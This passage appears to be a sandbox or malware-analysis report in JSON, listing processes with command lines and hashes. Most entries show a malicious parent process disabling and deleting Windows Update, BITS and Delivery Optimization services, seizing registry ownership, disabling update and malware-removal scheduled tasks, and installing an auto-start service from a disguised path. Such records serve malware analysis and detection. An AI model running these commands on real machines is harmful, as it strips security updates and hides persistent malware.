-Force","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00007684","uid":"00000000-00005432"},{"pid":2720,"ppid":7684,"name":"powershell.exe","command_line":"$$key='HKLM:\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc';$acl=Get-Acl $key;$admin=New-Object System.Security.Principal.NTAccount('BUILTIN','Administrators');$acl.SetOwner($admin);$rule=New-Object System.Security.AccessControl.RegistryAccessRule($admin,'FullControl','Allow');$acl.SetAccessRule($rule);Set-Acl $key $acl;Set-ItemProperty $key -Name 'Start' -Value 4 -Type DWord","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00007684","uid":"00000000-00002720"},{"pid":5216,"ppid":7684,"name":"sc.exe","command_line":"config WaaSMedicSvc start= disabled","sha256":"34128709cb5bc2b222dc6f25561a07b1f90689800a84931ac5d37c50a548f908","normalized_path":"%WINDIR%\\System32\\sc.exe","parent_uid":"00000000-00007684","uid":"00000000-00005216"},{"pid":6676,"ppid":7684,"name":"sc.exe","command_line":"stop WaaSMedicSvc","sha256":"3652b86125c77d7dd9fd72fc597d7bddfef4c6c2ea27a992a0b9d44aeb32f6d3","normalized_path":"%WINDIR%\\System32\\sc.exe","parent_uid":"00000000-00007684","uid":"00000000-00006676"},{"pid":6704,"ppid":7684,"name":"sc.exe","command_line":"config UsoSvc start= disabled","sha256":"34128709cb5bc2b222dc6f25561a07b1f90689800a84931ac5d37c50a548f908","normalized_path":"%WINDIR%\\System32\\sc.exe","parent_uid":"00000000-00007684","uid":"00000000-00006704"},{"pid":3696,"ppid":7684,"name":"sc.exe","command_line":"stop UsoSvc","sha256":"34128709cb5bc2b222dc6f25561a07b1f90689800a84931ac5d37c50a548f908","normalized_path":"%WINDIR%\\System32\\sc.exe","parent_uid":"00000000-00007684","uid":"00000000-00003696"},{"pid":6884,"ppid":7684,"name":"reg.exe","command_line":"copy \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\UsoSvc\" \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\zeamkxfprc\" /s /f","sha256":"6b3ef0286b7f12b6dbd3bfe07f2473de16b30f2496a45985901f035cb509435f","normalized_path":"%WINDIR%\\System32\\reg.exe","parent_uid":"00000000-00007684","uid":"00000000-00006884"},{"pid":3776,"ppid":7684,"name":"reg.exe","command_line":"delete \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\UsoSvc\" /f","sha256":"6b3ef0286b7f12b6dbd3bfe07f2473de16b30f2496a45985901f035cb509435f","normalized_path":"%WINDIR%\\System32\\reg.exe","parent_uid":"00000000-00007684","uid":"00000000-00003776"},{"pid":6968,"ppid":7684,"name":"sc.exe","command_line":"config WaaSMedicSvc start= disabled","sha256":"34128709cb5bc2b222dc6f25561a07b1f90689800a84931ac5d37c50a548f908","normalized_path":"%WINDIR%\\System32\\sc.exe","parent_uid":"00000000-00007684","uid":"00000000-00006968"},{"pid":7828,"ppid":7684,"name":"sc.exe","command_line":"stop WaaSMedicSvc","sha256":"34128709cb5bc2b222dc6f25561a07b1f90689800a84931ac5d37c50a548f908","normalized_path":"%WINDIR%\\System32\\sc.exe","parent_uid":"00000000-00007684","uid":"00000000-00007828"},{"pid":7296,"ppid":7684,"name":"reg.exe","command_line":"copy \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc\" \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\jnbxaolwwx\" /s /f","sha256":"6b3ef0286b7f12b6dbd3bfe07f2473de16b30f2496a45985901f035cb509435f","normalized_path":"%WINDIR%\\System32\\reg.exe","parent_uid":"00000000-00007684","uid":"00000000-00007296"},{"pid":4600,"ppid":7684,"name":"reg.exe","command_line":"delete \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc\" /f","sha256":"6b3ef0286b7f12b6dbd3bfe07f2473de16b30f2496a45985901f035cb509435f","normalized_path":"%WINDIR%\\System32\\reg.exe","parent_uid":"00000000-00007684","uid":"00000000-00004600"},{"pid":4172,"ppid":7684,"name":"sc.exe","command_line":"config wuauserv start= disabled","sha256":"34128709cb5bc2b222dc6f25561a07b1f90689800a84931ac5d37c50a548f908","normalized_path":"%WINDIR%\\System32\\sc.exe","parent_uid":"00000000-00007684","uid":"00000000-00004172"},{"pid":6940,"ppid":7684,"name":"sc.exe","command_line":"stop wuauserv","sha256":"34128709cb5bc2b222dc6f25561a07b1f90689800a84931ac5d37c50a548f908","normalized_path":"%WINDIR%\\System32\\sc.exe","parent_uid":"00000000-00007684","uid":"00000000-00006940"},{"pid":1460,"ppid":7684,"name":"reg.exe","command_line":"copy \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\wuauserv\" \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\clinnowyyh\" /s /f","sha256":"6b3ef0286b7f12b6dbd3bfe07f2473de16b30f2496a45985901f035cb509435f","normalized_path":"%WINDIR%\\System32\\reg.exe","parent_uid":"00000000-00007684","uid":"00000000-00001460"},{"pid":7024,"ppid":7684,"name":"reg.exe","command_line":"delete \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\wuauserv\" /f","sha256":"6b3ef0286b7f12b6dbd3bfe07f2473de16b30f2496a45985901f035cb509435f","normalized_path":"%WINDIR%\\System32\\reg.exe","parent_uid":"00000000-00007684","uid":"00000000-00007024"},{"pid":6364,"ppid":7684,"name":"sc.exe","command_line":"config BITS start= disabled","sha256":"34128709cb5bc2b222dc6f25561a07b1f90689800a84931ac5d37c50a548f908","normalized_path":"%WINDIR%\\System32\\sc.exe","parent_uid":"00000000-00007684","uid":"00000000-00006364"},{"pid":1444,"ppid":7684,"name":"sc.exe","command_line":"stop BITS","sha256":"34128709cb5bc2b222dc6f25561a07b1f90689800a84931ac5d37c50a548f908","normalized_path":"%WINDIR%\\System32\\sc.exe","parent_uid":"00000000-00007684","uid":"00000000-00001444"},{"pid":7524,"ppid":7684,"name":"reg.exe","command_line":"copy \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\BITS\" \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\yirxajznxk\" /s /f","sha256":"6b3ef0286b7f12b6dbd3bfe07f2473de16b30f2496a45985901f035cb509435f","normalized_path":"%WINDIR%\\System32\\reg.exe","parent_uid":"00000000-00007684","uid":"00000000-00007524"},{"pid":3756,"ppid":7684,"name":"reg.exe","command_line":"delete \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\BITS\" /f","sha256":"6b3ef0286b7f12b6dbd3bfe07f2473de16b30f2496a45985901f035cb509435f","normalized_path":"%WINDIR%\\System32\\reg.exe","parent_uid":"00000000-00007684","uid":"00000000-00003756"},{"pid":6512,"ppid":7684,"name":"sc.exe","command_line":"config dosvc start= disabled","sha256":"34128709cb5bc2b222dc6f25561a07b1f90689800a84931ac5d37c50a548f908","normalized_path":"%WINDIR%\\System32\\sc.exe","parent_uid":"00000000-00007684","uid":"00000000-00006512"},{"pid":4684,"ppid":7684,"name":"sc.exe","command_line":"stop dosvc","sha256":"34128709cb5bc2b222dc6f25561a07b1f90689800a84931ac5d37c50a548f908","normalized_path":"%WINDIR%\\System32\\sc.exe","parent_uid":"00000000-00007684","uid":"00000000-00004684"},{"pid":7984,"ppid":7684,"name":"reg.exe","command_line":"copy \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\dosvc\" \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\dfnlrcnbcv\" /s /f","sha256":"6b3ef0286b7f12b6dbd3bfe07f2473de16b30f2496a45985901f035cb509435f","normalized_path":"%WINDIR%\\System32\\reg.exe","parent_uid":"00000000-00007684","uid":"00000000-00007984"},{"pid":6932,"ppid":7684,"name":"reg.exe","command_line":"delete \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\dosvc\" /f","sha256":"6b3ef0286b7f12b6dbd3bfe07f2473de16b30f2496a45985901f035cb509435f","normalized_path":"%WINDIR%\\System32\\reg.exe","parent_uid":"00000000-00007684","uid":"00000000-00006932"},{"pid":332,"ppid":7684,"name":"schtasks.exe","command_line":"/Change /TN \"\\Microsoft\\Windows\\WindowsUpdate\\Scheduled Start\" /Disable","sha256":"3a0943826ebc7f6d76908e5bc6a14067265460b0742f89ae0f74b9380ef9a361","normalized_path":"%WINDIR%\\System32\\schtasks.exe","parent_uid":"00000000-00007684","uid":"00000000-00000332"},{"pid":3224,"ppid":7684,"name":"schtasks.exe","command_line":"/Change /TN \"\\Microsoft\\Windows\\WindowsUpdate\\sih\" /Disable","sha256":"3a0943826ebc7f6d76908e5bc6a14067265460b0742f89ae0f74b9380ef9a361","normalized_path":"%WINDIR%\\System32\\schtasks.exe","parent_uid":"00000000-00007684","uid":"00000000-00003224"},{"pid":3876,"ppid":7684,"name":"schtasks.exe","command_line":"/Change /TN \"\\Microsoft\\Windows\\WindowsUpdate\\sihboot\" /Disable","sha256":"3a0943826ebc7f6d76908e5bc6a14067265460b0742f89ae0f74b9380ef9a361","normalized_path":"%WINDIR%\\System32\\schtasks.exe","parent_uid":"00000000-00007684","uid":"00000000-00003876"},{"pid":2572,"ppid":7684,"name":"schtasks.exe","command_line":"/Change /TN \"\\Microsoft\\Windows\\UpdateOrchestrator\\Schedule Scan\" /Disable","sha256":"3a0943826ebc7f6d76908e5bc6a14067265460b0742f89ae0f74b9380ef9a361","normalized_path":"%WINDIR%\\System32\\schtasks.exe","parent_uid":"00000000-00007684","uid":"00000000-00002572"},{"pid":1816,"ppid":7684,"name":"schtasks.exe","command_line":"/Change /TN \"\\Microsoft\\Windows\\UpdateOrchestrator\\Schedule Scan Static Task\" /Disable","sha256":"3a0943826ebc7f6d76908e5bc6a14067265460b0742f89ae0f74b9380ef9a361","normalized_path":"%WINDIR%\\System32\\schtasks.exe","parent_uid":"00000000-00007684","uid":"00000000-00001816"},{"pid":744,"ppid":7684,"name":"schtasks.exe","command_line":"/Change /TN \"\\Microsoft\\Windows\\UpdateOrchestrator\\Schedule Work\" /Disable","sha256":"3a0943826ebc7f6d76908e5bc6a14067265460b0742f89ae0f74b9380ef9a361","normalized_path":"%WINDIR%\\System32\\schtasks.exe","parent_uid":"00000000-00007684","uid":"00000000-00000744"},{"pid":2484,"ppid":7684,"name":"schtasks.exe","command_line":"/Change /TN \"\\Microsoft\\Windows\\UpdateOrchestrator\\Schedule Wake To Work\" /Disable","sha256":"3a0943826ebc7f6d76908e5bc6a14067265460b0742f89ae0f74b9380ef9a361","normalized_path":"%WINDIR%\\System32\\schtasks.exe","parent_uid":"00000000-00007684","uid":"00000000-00002484"},{"pid":2576,"ppid":7684,"name":"schtasks.exe","command_line":"/Change /TN \"\\Microsoft\\Windows\\UpdateOrchestrator\\USO_UxBroker\" /Disable","sha256":"3a0943826ebc7f6d76908e5bc6a14067265460b0742f89ae0f74b9380ef9a361","normalized_path":"%WINDIR%\\System32\\schtasks.exe","parent_uid":"00000000-00007684","uid":"00000000-00002576"},{"pid":3864,"ppid":7684,"name":"schtasks.exe","command_line":"/Change /TN \"\\Microsoft\\Windows\\UpdateOrchestrator\\Reboot_AC\" /Disable","sha256":"3a0943826ebc7f6d76908e5bc6a14067265460b0742f89ae0f74b9380ef9a361","normalized_path":"%WINDIR%\\System32\\schtasks.exe","parent_uid":"00000000-00007684","uid":"00000000-00003864"},{"pid":5220,"ppid":7684,"name":"schtasks.exe","command_line":"/Change /TN \"\\Microsoft\\Windows\\UpdateOrchestrator\\Reboot_Battery\" /Disable","sha256":"3a0943826ebc7f6d76908e5bc6a14067265460b0742f89ae0f74b9380ef9a361","normalized_path":"%WINDIR%\\System32\\schtasks.exe","parent_uid":"00000000-00007684","uid":"00000000-00005220"},{"pid":3368,"ppid":7684,"name":"schtasks.exe","command_line":"/Change /TN \"\\Microsoft\\Windows\\WaaSMedic\\PerformRemediation\" /Disable","sha256":"3a0943826ebc7f6d76908e5bc6a14067265460b0742f89ae0f74b9380ef9a361","normalized_path":"%WINDIR%\\System32\\schtasks.exe","parent_uid":"00000000-00007684","uid":"00000000-00003368"},{"pid":3592,"ppid":7684,"name":"powercfg.exe","command_line":"/x -standby-timeout-ac 0","sha256":"54b792595c594899cc17f466bb8ca9d40ff4389d54be698aab3ffe079cb7d793","normalized_path":"%WINDIR%\\System32\\powercfg.exe","parent_uid":"00000000-00007684","uid":"00000000-00003592"},{"pid":3520,"ppid":7684,"name":"powercfg.exe","command_line":"/x -hibernate-timeout-dc 0","sha256":"54b792595c594899cc17f466bb8ca9d40ff4389d54be698aab3ffe079cb7d793","normalized_path":"%WINDIR%\\System32\\powercfg.exe","parent_uid":"00000000-00007684","uid":"00000000-00003520"},{"pid":5036,"ppid":7684,"name":"powercfg.exe","command_line":"/x -hibernate-timeout-ac 0","sha256":"54b792595c594899cc17f466bb8ca9d40ff4389d54be698aab3ffe079cb7d793","normalized_path":"%WINDIR%\\System32\\powercfg.exe","parent_uid":"00000000-00007684","uid":"00000000-00005036"},{"pid":4636,"ppid":7684,"name":"powercfg.exe","command_line":"/x -standby-timeout-dc 0","sha256":"54b792595c594899cc17f466bb8ca9d40ff4389d54be698aab3ffe079cb7d793","normalized_path":"%WINDIR%\\System32\\powercfg.exe","parent_uid":"00000000-00007684","uid":"00000000-00004636"},{"pid":3800,"ppid":7684,"name":"schtasks.exe","command_line":"/Change /TN \"\\Microsoft\\Windows\\MRT\\MRT_HB\" /Disable","sha256":"3a0943826ebc7f6d76908e5bc6a14067265460b0742f89ae0f74b9380ef9a361","normalized_path":"%WINDIR%\\System32\\schtasks.exe","parent_uid":"00000000-00007684","uid":"00000000-00003800"},{"pid":4568,"ppid":7684,"name":"schtasks.exe","command_line":"/Change /TN \"\\Microsoft\\Windows Removal Tools\\MRT_HB\" /Disable","sha256":"3a0943826ebc7f6d76908e5bc6a14067265460b0742f89ae0f74b9380ef9a361","normalized_path":"%WINDIR%\\System32\\schtasks.exe","parent_uid":"00000000-00007684","uid":"00000000-00004568"},{"pid":6612,"ppid":7684,"name":"sc.exe","command_line":"delete \"RasConnectionManager_9d4d\"","sha256":"34128709cb5bc2b222dc6f25561a07b1f90689800a84931ac5d37c50a548f908","normalized_path":"%WINDIR%\\System32\\sc.exe","parent_uid":"00000000-00007684","uid":"00000000-00006612"},{"pid":7652,"ppid":7684,"name":"sc.exe","command_line":"create \"RasConnectionManager_9d4d\" binpath= \"%ALLUSERSPROFILE%\\icrosoftWindowsSchCache\\NetworkListService22e8.exe\" start= \"auto\"","sha256":"34128709cb5bc2b222dc6f25561a07b1f90689800a84931ac5d37c50a548f908","normalized_path":"%WINDIR%\\System32\\sc.exe","parent_uid":"00000000-00007684","uid":"00000000-00007652"},{"pid":976,"ppid":0,"name":"msedge.exe","command_line":"--profile-directory=Default","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","uid":"00000000-00000976","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":424,"ppid":976,"name":"msedge.exe","command_line":"--type=crashpad-handler \"--user-data-dir=%LOCALAPPDATA%\\Microsoft\\Edge\\User Data\" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler \"--database=%LOCALAPPDATA%\\Microsoft\\Edge\\User Data\\Crashpad\" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=145.0.7632.76 \"--annotation=exe=%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe\" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=145.0.3800.58 --initial-client-data=0x2c0,0x2c4,0x2c8,0x2bc,0x2d0,0x7ff96c820f18,0x7ff96c820f24,0x7ff96c820f30","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00000976","uid":"00000000-00000424"},{"pid":4836,"ppid":976,"name":"msedge.exe","command_line":"--type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --startup-read-main-dll --metrics-shmem-handle=1828,i,374950886546524864,15865887324803043825,524288 --field-trial-handle=2008,i,3811326771106702808,12201327708710158224,262144 --variations-seed-version --trace-process-track-uuid=3190708989122997041 --mojo-platform-channel-handle=2036 /prefetch:3","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00000976","uid":"00000000-00004836"},{"pid":7956,"ppid":976,"name":"msedge.exe","command_line":"--type=gpu-process --gpu-preferences=SAAAAAAAAADgAAAEAAAAAAAAAAAAAGAAAQAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --startup-read-main-dll --metrics-shmem-handle=1688,i,7864619214515290882,9425228662047036448,262144 --field-trial-handle=2008,i,3811326771106702808,12201327708710158224,262144 --variations-seed-version --trace-process-track-uuid=3190708988185955192 --mojo-platform-channel-handle=2004 /prefetch:2","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00000976","uid":"00000000-00007956"},{"pid":6476,"ppid":976,"name":"msedge.exe","command_line":"--type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --startup-read-main-dll --metrics-shmem-handle=2248,i,11145584867398722969,9460149027689884497,524288 --field-trial-handle=2008,i,3811326771106702808,12201327708710158224,262144 --variations-seed-version --trace-process-track-uuid=3190708990060038890 --mojo-platform-channel-handle=3124 /prefetch:8","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00000976","uid":"00000000-00006476"},{"pid":7776,"ppid":976,"name":"msedge.exe","command_line":"--type=renderer --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --time-ticks-at-unix-epoch=-1786692661240313 --launch-time-ticks=2879944020 --ssd-no-pressure-read-main-dll --metrics-shmem-handle=2828,i,6465854404750611304,12534452594941212919,2097152 --field-trial-handle=2008,i,3811326771106702808,12201327708710158224,262144 --variations-seed-version --trace-process-track-uuid=3190708991934122588 --mojo-platform-channel-handle=3164 /prefetch:1","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00000976","uid":"00000000-00007776"},{"pid":6308,"ppid":976,"name":"msedge.exe","command_line":"--type=renderer --instant-process --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --time-ticks-at-unix-epoch=-1786692661240313 --launch-time-ticks=2879982271 --skip-read-main-dll --metrics-shmem-handle=2836,i,4229367949019645746,5899207007194626239,2097152 --field-trial-handle=2008,i,3811326771106702808,12201327708710158224,262144 --variations-seed-version --trace-process-track-uuid=3190708990997080739 --mojo-platform-channel-handle=2020 /prefetch:1","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00000976","uid":"00000000-00006308"},{"pid":5592,"ppid":976,"name":"msedge.exe","command_line":"--type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --skip-read-main-dll --metrics-shmem-handle=4896,i,3858215685927230084,11716409269177933123,524288 --field-trial-handle=2008,i,3811326771106702808,12201327708710158224,262144 --variations-seed-version --trace-process-track-uuid=3190708992871164437 --mojo-platform-channel-handle=4996 /prefetch:8","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00000976","uid":"00000000-00005592"},{"pid":8064,"ppid":976,"name":"msedge.exe","command_line":"--type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --skip-read-main-dll --metrics-shmem-handle=4908,i,11789346610669744202,7898641846710091535,524288 --field-trial-handle=2008,i,3811326771106702808,12201327708710158224,262144 --variations-seed-version --trace-process-track-uuid=3190708993808206286 --mojo-platform-channel-handle=5020 /prefetch:8","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00000976","uid":"00000000-00008064"},{"pid":4592,"ppid":976,"name":"msedge.exe","command_line":"--type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --skip-read-main-dll --metrics-shmem-handle=4832,i,1103516141705616387,15978541510233250800,524288 --field-trial-handle=2008,i,3811326771106702808,12201327708710158224,262144 --variations-seed-version --trace-process-track-uuid=3190708994745248135 --mojo-platform-channel-handle=4720 /prefetch:8","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00000976","uid":"00000000-00004592"},{"pid":8172,"ppid":976,"name":"msedge.exe","command_line":"--type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --ssd-no-pressure-read-main-dll --metrics-shmem-handle=5088,i,10385508452522876952,7805303481421897601,524288 --field-trial-handle=2008,i,3811326771106702808,12201327708710158224,262144 --variations-seed-version --trace-process-track-uuid=3190708995682289984 --mojo-platform-channel-handle=5792 /prefetch:8","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00000976","uid":"00000000-00008172"},{"pid":3240,"ppid":976,"name":"msedge.exe","command_line":"--type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --skip-read-main-dll --metrics-shmem-handle=5848,i,14547798268812056726,1703971957150999048,524288 --field-trial-handle=2008,i,3811326771106702808,12201327708710158224,262144 --variations-seed-version --trace-process-track-uuid=3190708996619331833 --mojo-platform-channel-handle=5876 /prefetch:8","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00000976","uid":"00000000-00003240"},{"pid":2944,"ppid":976,"name":"msedge.exe","command_line":"--type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --skip-read-main-dll --metrics-shmem-handle=5892,i,13775212058318610602,16260153623204869727,524288 --field-trial-handle=2008,i,3811326771106702808,12201327708710158224,262144 --variations-seed-version --trace-process-track-uuid=3190708997556373682 --mojo-platform-channel-handle=5956 /prefetch:8","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00000976","uid":"00000000-00002944"},{"pid":3708,"ppid":0,"name":"svchost.exe","command_line":"","sha256":"b868487f8edbd0571d30d89573f087bfeac3da190652344afd351b1868ea0f8b","normalized_path":"%WINDIR%\\System32\\svchost.exe","uid":"00000000-00003708","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="}],"all_imported_dlls":["System.Transactions.dll","nlaapi.dll","domain_actions.dll","winnsi.dll","urlmon.dll","atl.dll","CoreMessaging.dll","devobj.dll","oneauth.dll","aepic.dll","RTWorkQ.dll","win32u.dll","VxSSL64.dll","fltLib.dll","uxtheme.dll","slc.dll","sppc.dll","wshext.dll","wbemprox.dll","profapi.dll","clrjit.dll","Microsoft.IIS.Powershell.Commands.ni.dll","Microsoft.KeyDistributionService.Cmdlets.ni.dll","Windows.System.Profile.PlatformDiagnosticsAndUsageDataSettings.dll","FirewallAPI.dll","vk_swiftshader.dll","amsi.dll","MpClient.dll","System.Configuration.Install.ni.dll","miutils.dll","KdsCli.dll","winmm.dll","winmmbase.dll","linkinfo.dll","ntasn1.dll","mscoreei.dll","clr.dll","shell32.dll","MpOAV.dll","xmllite.dll","dhcpcsvc.dll","directmanipulation.dll","combase.dll","ncrypt.dll","secur32.dll","dsreg.dll","webauthn.dll","Windows.System.Profile.RetailInfo.dll","Windows.Devices.Enumeration.dll","netprofm.dll","ws2_32.dll","vcruntime140_1.dll","sechost.dll","bcrypt.dll","Windows.System.UserProfile.DiagnosticsSettings.dll","wscapi.dll","NapiNSP.dll","rpcrt4.dll","sspicli.dll","twinapi.appcore.dll","mscorlib.ni.dll","coml2.dll","OpcServices.dll","dcomp.dll","rasadhlp.dll","wmidcom.dll","well_known_domains.dll","OneCoreUAPCommonProxyStub.dll","windows.storage.dll","imagehlp.dll","dpapi.dll","netutils.dll","rmclient.dll","twinapi.dll","mf.dll","pnrpnsp.dll","kernel32.dll","imm32.dll","System.Management.Automation.ni.dll","normaliz.dll","msedge.dll","dbghelp.dll","oneds.dll","d3dcompiler_47.dll","crypt32.dll","cryptnet.dll","qblJ9vgd.dll","mi.dll","taskschd.dll","fwbase.dll","ncryptprov.dll","Windows.Security.Authentication.OnlineId.dll","ntmarta.dll","mscoree.dll","cldapi.dll","dusmapi.dll","libGLESv2.dll","libEGL.dll","ExplorerFrame.dll","msvcp140.dll","OnDemandConnRouteHelper.dll","ncryptsslp.dll","Microsoft.AppV.AppvClientComConsumer.dll","dwmapi.dll","atlthunk.dll","PCPKsp.dll","KernelBase.dll","System.Management.ni.dll","Microsoft.PowerShell.Commands.Management.ni.dll","wbemsvc.dll","d3d11.dll","ntdll.dll","vcruntime140.dll","msIso.dll","cryptsp.dll","System.DirectoryServices.ni.dll","Microsoft.PowerShell.Security.ni.dll","Microsoft.KeyDistributionService.Cmdlets.dll","rometadata.dll","apphelp.dll","wininet.dll","winhttp.dll","dnsapi.dll","AppxSip.dll","diasymreader.dll","msvcp110_win.dll","TextInputFramework.dll","gpapi.dll","Microsoft.Management.Infrastructure.Native.ni.dll","Wldap32.dll","mscms.dll","biwinrt.dll","deviceaccess.dll","netapi32.dll","wevtapi.dll","advapi32.dll","System.Data.ni.dll","wkscli.dll","Windows.UI.dll","DataExchange.dll","winrnr.dll","SHCore.dll","kernel.appcore.dll","mswsock.dll","wintrust.dll","Microsoft.PowerShell.ConsoleHost.ni.dll","Microsoft.PowerShell.Commands.Utility.ni.dll","setupapi.dll","Windows.Security.Authentication.Web.Core.dll","powrprof.dll","clbcatq.dll","winsta.dll","System.Configuration.ni.dll","microsoft_shell_integration.dll","telclient.dll","d3d10warp.dll","pwrshsip.dll","esent.dll","dmcmnutils.dll","wwapi.dll","nsi.dll","schannel.dll","ucrtbase_clr0400.dll","System.Numerics.ni.dll","System.Transactions.ni.dll","msedge_elf.dll","slwga.dll","onnxruntime.dll","ucrtbase.dll","msvcrt.dll","oleaut32.dll","System.Core.ni.dll","wldp.dll","deviceassociation.dll","npmproxy.dll","ResourcePolicyClient.dll","gdi32.dll","cryptbase.dll","msasn1.dll","version.dll","vcruntime140_c